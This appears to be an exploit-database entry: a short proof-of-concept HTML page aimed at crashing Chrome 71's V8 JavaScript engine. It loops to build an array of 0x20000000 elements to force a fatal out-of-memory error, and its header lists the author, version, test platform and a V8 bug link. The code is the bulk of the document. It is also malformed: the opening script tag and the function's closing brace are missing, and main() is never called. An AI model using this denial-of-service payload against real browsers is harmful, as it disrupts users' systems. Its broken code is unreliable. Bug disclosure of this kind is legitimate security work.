Google Chrome V8 JavaScript Engine 71.0.3578.98 – Out-of-Memory in Invalid Array Length

<!--

# Exploit Title: Google Chrome 71.0.3578.98 V8 JavaScript Engine - Out-of-memory in invalid array length. Denial of Service (PoC)

# Google Dork: N/A

# Date: 2019-01-10

# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)

# Vendor Homepage: https://www.google.com/

# Version: Google Chrome 71.0.3578.98, V8 version 7.3.0 (candidate)

# Tested on: Windows x64

# CVE : N/A

# Description:

# Fatal javascript OOM in invalid array length

# https://bugs.chromium.org/p/v8/issues/detail?id=8668

-->

<html>

<head>

function main() {

var ar = [];

for(let i = 0; i < 0x20000000; ++i){

ar[i]=i;

}

</script>

</head>

</html>